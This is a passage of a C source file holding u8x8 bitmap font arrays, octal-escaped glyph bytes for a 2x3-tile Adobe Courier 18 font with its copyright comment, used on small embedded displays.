\\60\\30\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\200\\377\\0\\0\\0\\0\\0\\0\\0\\177\\1\\2\\2\\2\\2\\1\\0\\3\"\n  \"\\2\\0\\0\\0\\0\\0\\360\\370\\10\\4\\4\\374\\4\\4\\374\\4\\4\\0\\0\\0\\0\\0\\1\\3\\2\\4\\4\\377\\0\\0\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\17\\0\\0\\17\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20 &\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\4\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\\7\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300 \\20\\20\\20 \\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\21\\22\\24\\24\\24\\22\\21\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\203\\306l\\70\\21\\203\\306l\\70\\20\\0\\0\\0\\0\\2\\3\\1\\0\\0\\2\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\10\\10\\4\\374\\0\\0\\0\\0\\0\\0\\300 \\20\\0\\0\\0\\4\\4\\4\\207D\\64\\14\\304\\242\\231\\204\\202\"\n  \"\\376\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\3\\2\\0\\0\\10\\10\\4\\374\\0\\0\\0\\0\\0\\0\\300 \"\n  \"\\20\\0\\0\\0\\4\\4\\4\\207D\\64\\14\\4\\12\\5\\202B\\42\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\3\\2\\2\"\n  \"\\2\\3\\0\\0\\10\\4DDd\\230\\0\\0\\0\\0\\300 \\20\\0\\0\\0\\2\\4\\4\\204D\\63\\10\\304\\242\\231\\204\\202\"\n  \"\\376\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\3\\2\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200@ !\\31\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\10\\20\\20\\20\\20\\20\\14\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\20\\20\\321\\63\\26\\64\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200p\\36\\21\\20\\20\\20\\21\\36p\"\n  \"\\200\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\0\\0\\2\\2\\3\\2\\0\\0\\0\\0\\0\\20\\20\\320\\64\\26\\63\\301\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200p\\36\\21\\20\\20\\20\\21\\36p\\200\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\0\\0\\2\\2\"\n  \"\\3\\2\\0\\0\\0\\0\\0\\24\\26\\323\\61\\21\\63\\306\\4\\0\\0\\0\\0\\0\\0\\0\\200p\\36\\21\\20\\20\\20\\21\\36p\"\n  \"\\200\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\0\\0\\2\\2\\3\\2\\0\\0\\0\\0\\0\\26\\23\\321\\63\\26\\64\\306\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200p\\36\\21\\20\\20\\20\\21\\36p\\200\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\0\\0\\2\\2\"\n  \"\\3\\2\\0\\0\\0\\0\\0\\20\\23\\323\\60\\20\\60\\303\\3\\0\\0\\0\\0\\0\\0\\0\\200p\\36\\21\\20\\20\\20\\21\\36p\"\n  \"\\200\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\0\\0\\2\\2\\3\\2\\0\\0\\0\\0\\0\\20\\20\\327\\70\\30\\70\\307\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200p\\36\\21\\20\\20\\20\\21\\36p\\200\\0\\0\\0\\0\\2\\3\\2\\2\\0\\0\\0\\0\\0\\2\\2\"\n  \"\\3\\2\\0\\0\\0\\0\\0\\0\\20\\320\\60\\20\\360\\20\\20\\20\\20\\20\\360\\0\\0\\0\\200p\\36\\21\\20\\20\\377\\4\\4\\4\"\n  \"\\37\\0\\340\\0\\2\\2\\3\\2\\0\\0\\2\\2\\3\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\300` \\20\\20\\20\\20 `\"\n  \"\\360\\0\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\200\\300\\0\\0\\0\\0\\0\\0\\0\\1\\21\\42&\\32\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\20\\20\\360\\20\\21\\23\\26\\24\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\377\\4\\4\\4\\37\\0\\0\\0\\0\"\n  \"\\340\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\20\\20\\360\\20\\20\\24\\26\\23\\21\\20\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\4\\4\\4\\37\\0\\0\\0\\0\\340\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\3\\0\\0\\0\\0\\20\\20\\364\\26\\23\\21\\21\\23\\26\\24\\360\\0\\0\\0\\0\\0\\0\\0\\377\\4\\4\\4\\37\\0\\0\\0\\0\"\n  \"\\340\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\20\\20\\360\\23\\23\\20\\20\\23\\23\\20\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\4\\4\\4\\37\\0\\0\\0\\0\\340\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\2\\2\\2\\2\\2\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\20\\20\\21\\23\\366\\24\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\24\\366\\23\\21\\20\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\24\\26\\23\\21\\361\\23\\26\\24\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\20\\23\\23\\20\\360\\20\\23\\23\\20\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\20\\360\\20\\20\\20\\20\\20\\20\\20 `\\200\\0\\0\\0\\4\\4\\377\\4\\4\\4\\0\\0\\0\\0\\0\\200\"\n  \"\\177\\0\\0\\0\\0\\2\\3\\2\\2\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\20\\20\\360\\66C\\201\\3\\6\\24\\26\\23\\360\"\n  \"\\20\\20\\0\\0\\0\\0\\377\\0\\0\\1\\6\\30`\\200\\0\\377\\0\\0\\0\\0\\2\\2\\3\\2\\2\\2\\0\\0\\0\\0\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\300` \\21\\23\\26\\24\\20 `\\300\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\300\\77\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\24\\26\\23!`\"\n  \"\\300\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\77\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\300`$\\26\\23\\21\\21\\23&d\\300\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\300\\77\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\300`&\\23\\21\\23\\26\\24&c\"\n  \"\\300\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\77\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\300`#\\23\\20\\20\\20\\23#`\\300\\0\\0\\0\\0\\77\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\300\\77\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0 @\\200\\0\\0\\0\\0\\0\\200@\"\n  \" \\0\\0\\0\\0\\0\\200@ \\21\\12\\4\\12\\21 @\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300` \\20\\20\\20\\20\\220``\\220\\10\\0\\0\\0\\77\\300\\300 \\20\\10\\4\\3\\0\\200\\300\"\n  \"\\77\\0\\0\\0\\2\\1\\0\\1\\1\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\20\\360\\20\\20\\21\\3\\6\\24\\20\\20\\360\"\n  \"\\20\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\360\\20\\20\\20\\4\\6\\23\\21\\20\\360\\20\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\0\\0\\0\\0\\0\\0\\20\\360\\24\\26\\23\\1\\1\\23\\26\\24\\360\"\n  \"\\20\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\360\\20\\23\\23\\0\\0\\23\\23\\20\\360\\20\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\0\\0\\0\\0\\0\\0\\20\\20\\60\\320\\0\\4\\6\\3\\1\\320\\60\"\n  \"\\20\\20\\0\\0\\0\\0\\0\\0\\0\\3\\4\\370\\4\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\2\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20\\360\\220\\220\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377@@@@@@!\"\n  \"\\36\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\10\\4\\4\\4\\10\\360\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\202\\2\\3\\4\\14\\360\\0\\0\\0\\0\\0\\2\\2\\3\\2\\0\\1\\2\\2\\2\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\4\\214\\230\\260\\240\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300!\\21\\20\\20\\20\\20\\21\\376\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\3\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\200\\240\\260\\230\\14\\4\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300!\\21\\20\\20\\20\\20\\21\\376\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\3\\2\"\n  \"\\2\\0\\0\\0\\0\\0\\0 \\60\\230\\214\\214\\230\\60 \\0\\0\\0\\0\\0\\0\\0\\300!\\21\\20\\20\\20\\20\\21\\376\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\3\\2\\2\\0\\0\\0\\0\\0\\0\\60\\30\\210\\230\\260\\240\\60\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300!\\21\\20\\20\\20\\20\\21\\376\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\3\\2\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\0\\30\\230\\200\\200\\200\\30\\30\\0\\0\\0\\0\\0\\0\\0\\300!\\21\\20\\20\\20\\20\\21\\376\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\3\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\234\\242\\242\\242\\34\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300!\\21\\20\\20\\20\\20\\21\\376\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\2\\2\\1\\3\\2\"\n  \"\\2\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\300#\\21\\20\\20\\20\\21\\376\\21\\20\\20\\20\"\n  \"\\21\\23\\234\\0\\1\\2\\2\\2\\2\\2\\1\\0\\1\\2\\2\\2\\2\\1\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\"\n  \"\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\207\\200\\0\\0\\0\\0\\0\\0\\1\\1\\22\\42&\\32\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\4\\214\\230\\260\\240\\200\\0\\0\\0\\0\\0\\0\\0\\0|\\223\\21\\20\\20\\20\\20\\20\\21\\23\"\n  \"\\34\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\240\\260\\230\\214\\4\\0\"\n  \"\\0\\0\\0\\0\\0\\0|\\223\\21\\20\\20\\20\\20\\20\\21\\23\\34\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\2\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0 \\60\\230\\214\\214\\230\\260 \\0\\0\\0\\0\\0\\0\\0|\\223\\21\\20\\20\\20\\20\\20\\21\\23\"\n  \"\\34\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\30\\230\\200\\200\\200\\230\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0|\\223\\21\\20\\20\\20\\20\\20\\21\\23\\34\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\2\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\204\\214\\230\\260 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\240\\260\\30\\14\\4\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\0\\0 \\260\\230\\214\\214\\30\\60 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\230\\230\\200\\200\\0\\30\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\10\\4$$\\224\\234\\210\\230\\244\\304\\200\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\203\"\n  \"~\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\200\\200\\260\\30\\10\\230\\260\\240\\260\\30\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\2\\1\\0\\0\\0\\0\\1\\376\\0\\0\\0\\0\\0\\2\\2\\3\\2\\2\\0\\0\\0\\2\\2\\3\"\n  \"\\2\\2\\0\\0\\0\\0\\0\\0\\0\\204\\214\\230\\260\\240\\0\\0\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\203\"\n  \"|\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\240\\260\\230\\214\\4\\0\"\n  \"\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\203|\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0 \\60\\230\\214\\214\\230\\260 \\0\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\203\"\n  \"|\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\60\\230\\210\\230\\260\\240\\60\\30\"\n  \"\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\203|\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30\\230\\200\\200\\200\\230\\30\\0\\0\\0\\0\\0\\0\\0|\\203\\1\\0\\0\\0\\0\\0\\1\\203\"\n  \"|\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4ddd\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200@\\0\\0\\0\\0\\0|\\203A \\20\\10\\4\\2\\1\\202\"\n  \"|\\0\\0\\0\\0\\2\\1\\0\\1\\2\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\200\\200\\200\\4\\14\\30\\60 \\200\\200\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\200\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\1\\0\\3\"\n  \"\\2\\0\\0\\0\\0\\200\\200\\200\\0\\0 \\60\\30\\214\\204\\200\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\1\\0\\3\\2\\0\\0\\0\\0\\200\\200\\240\\60\\30\\14\\14\\30\\260\\240\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\200\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\1\\0\\3\"\n  \"\\2\\0\\0\\0\\0\\200\\200\\200\\30\\30\\0\\0\\30\\230\\200\\200\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\2\\1\\0\\3\\2\\0\\0\\0\\0\\200\\200\\200\\200\\0 \\60\\30\\214\\204\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\3\\34`\\200\\0\\0\\300\\60\\14\\3\\0\\0\\0\\0\\0@@@@qNC\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\4\\4\\374\\0\\0\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\377\\203\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\203|\\0\\0\\0@@\\177AAB\\2\\2\\2\\2\\1\\1\\0\\0\\0\\0\\200\\200\\200\\230\\30\\0\\0\\30\\230\\200\\200\"\n  \"\\200\\0\\0\\0\\0\\0\\3\\34`\\200\\0\\0\\300\\60\\14\\3\\0\\0\\0\\0\\0@@@@qNC\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Medium-R-Normal--25-180-100-100-M-150-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 95/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courR18_2x3_r[4564] U8X8_FONT_SECTION(\"u8x8_font_courR18_2x3_r\") = \n  \" ~\\2\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0<\\374<\\0\\0<\\374<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\0\\0\\374\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\21\\21\\377\\21\\21\\377\\21\\21\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\0\\0\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300 \\20\\36\\20\\20 p\\0\\0\\0\\0\\0\\0\\0\\300\\201\\2\\4\\4\\4\\4\\210p\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\0\\1\\1\\37\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0p\\210\\4\\4\\4\\210p\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\10\\10\\10\\5\\5\\345\\22\\12\\12\\11\\21\\341\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300  `@ \\0\\0\\0\\0\\0\\0\\0\\0\\360\\10\\5\\6\\30 \\340\\230\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\1\\2\\2\\2\\1\\0\\1\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\30\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\14\\20\\0\\0\\0\\0\\0\\0\\0\\0\\4\\30\\340\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\14\\3\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0 `@\\300\\374\\300@` \\0\\0\\0\\0\\0\\0\\0\\4\\6\\3\\1\\0\\1\\3\\6\\4\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\4\\377\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\30\\16\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\4\\4\\4\\4\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\60\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\60\\14\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\60\\20\\10\\10\\10\\20\\60\\300\\0\\0\\0\\0\\0\\0\\0\\177\\200\\0\\0\\0\\0\\0\\200\\177\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\10\\370\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\2\\3\\2\\2\\2\\2\"\n  \"\\0\\0\\0\\0\\0\\0`\\20\\20\\10\\10\\10\\10\\20\\340\\0\\0\\0\\0\\0\\0\\0\\0\\200@ \\20\\10\\4\\2\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\\0\\0\\0\\0\\20\\10\\10\\10\\10\\10\\20\\360\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\0\\0\\2\\2\\2\\2\\5\\4\\370\\0\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200`\\20\\10\\370\\0\\0\\0\\0\\0\\0\\0\\0\\60,#    \\377  \"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\2\\2\\3\\2\\2\\0\\0\\0\\0\\0\\0\\0\\370\\10\\10\\10\\10\\10\\10\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\2\\1\\1\\1\\1\\2\\206x\\0\\0\\0\\0\\0\\0\\1\\1\\2\\2\\2\\2\\2\\1\\1\\0\"\n  